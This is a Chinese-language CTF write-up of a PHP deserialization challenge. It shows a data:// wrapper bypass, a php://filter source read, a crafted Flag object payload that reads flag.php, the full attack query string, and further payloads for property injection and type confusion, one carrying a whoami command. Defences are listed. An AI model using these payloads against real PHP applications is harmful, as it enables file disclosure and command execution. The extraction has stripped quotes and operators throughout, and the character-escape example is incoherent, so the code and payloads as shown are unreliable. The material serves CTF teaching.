从一道CTF题复盘PHP反序列化:如何构造payload读取flag.php

从一道CTF题复盘PHP反序列化:如何构造payload读取flag.php 从CTF实战解析PHP反序列化漏洞Flag类利用与文件读取技巧在网络安全竞赛中PHP反序列化漏洞一直是高频考点。本文将以一道典型CTF题目为例深入剖析如何通过构造特定序列化字符串操控对象属性最终实现敏感文件读取。不同于基础教程我们将从漏洞原理、代码审计到payload构造完整呈现专业安全研究员的思考路径。1. 题目环境与代码审计拿到题目首先看到的是一个PHP文件核心逻辑围绕三个参数验证展开。第一关要求text参数能读取特定字符串这提示我们需要使用data://伪协议if(isset($text)(file_get_contents($text,r)welcome to the zjctf)){ echo brh1.file_get_contents($text,r)./h1/br; }第二关的file参数过滤了flag关键字但暗示了useless.php的存在。这里采用php://filter协议读取源码是最佳选择if(preg_match(/flag/,$file)){ echo Not now!; exit(); } else { include($file); //useless.php }通过以下payload获取useless.php的base64编码内容filephp://filter/readconvert.base64-encode/resourceuseless.php解码后得到关键类定义class Flag{ public $file; public function __tostring(){ if(isset($this-file)){ echo file_get_contents($this-file); } return Useless!; } }2. 反序列化漏洞原理深度解析当PHP执行unserialize()时会按照序列化字符串的结构重建对象。关键风险点在于属性控制序列化数据中的对象属性值完全可控魔术方法__tostring()等魔术方法在特定场景自动触发敏感操作魔术方法中常包含文件操作、命令执行等高危函数在本题中Flag类包含两个危险特征$file属性未做任何过滤__tostring()方法直接使用file_get_contents()读取文件典型的利用链如下unserialize() → 创建Flag对象 → 设置$file属性 → 触发__tostring() → 读取任意文件3. 手工构造序列化payload根据PHP序列化格式规范我们需要构造Flag类的序列化字符串。基本结构为O:类名长度:类名:属性数量:{属性序列化}对于Flag类具体构造步骤如下类名Flag长度为4只有1个属性$file属性名为file长度4属性值设为flag.php长度8最终payloadO:4:Flag:1:{s:4:file;s:8:flag.php;}验证payload结构的正确性部分说明示例O:4:Flag声明对象类名4字符O:4:Flag:1:1个属性:1:{s:4:file字符串属性名长度4{s:4:file;s:8:flag.php字符串属性值长度8;s:8:flag.php}结束符}4. 完整漏洞利用链实战组合各环节形成最终攻击流程通过data://协议绕过第一关验证textdata://text/plain,welcome to the zjctf使用过滤器读取useless.php源码filephp://filter/readconvert.base64-encode/resourceuseless.php构造反序列化payload并赋值给passwordpasswordO:4:Flag:1:{s:4:file;s:8:flag.php;}完整请求示例?textdata://text/plain,welcome to the zjctffileuseless.phppasswordO:4:Flag:1:{s:4:file;s:8:flag.php;}5. 防御方案与最佳实践针对此类漏洞开发者应采取多层次防护代码层防护避免反序列化用户输入使用__wakeup()或__destruct()进行属性校验对敏感操作添加权限检查class SafeFlag { private $file; public function __wakeup() { if(strpos($this-file, flag) ! false) { throw new Exception(Invalid file requested); } } }架构层防护使用JSON等安全数据格式替代序列化实施最小权限原则定期进行安全审计运维层防护禁用危险协议php://、data://等配置open_basedir限制文件访问范围及时更新PHP版本6. 高级利用技巧扩展在更复杂的场景中反序列化漏洞常与其他技术组合利用属性注入攻击通过修改属性数量字段可以注入未定义的属性O:4:Flag:2:{s:4:file;s:8:flag.php;s:6:inject;s:10:evil_value;}类型混淆攻击利用PHP弱类型特性将字符串属性改为对象触发其他魔术方法O:4:Flag:1:{s:4:file;O:6:Logger:1:{s:3:cmd;s:6:whoami;}}字符逃逸技巧当存在字符串替换过滤时可以通过计算偏移量构造特殊payload原字符串s:8:flag.php 过滤后 s:12:flflagag.php实际渗透测试中建议使用专业的反序列化工具辅助分析PHPGGCPHP Generic Gadget ChainsPHPUnserializeDetectorRogue-JNDI用于Java反序列化在最近的一次红队评估中我们发现某系统虽然对__destruct()做了防护但忽略了__toString()方法。通过精心构造的序列化字符串最终实现了SSRF到RCE的完整攻击链。这提醒我们安全防护必须覆盖所有魔术方法和可能的触发路径。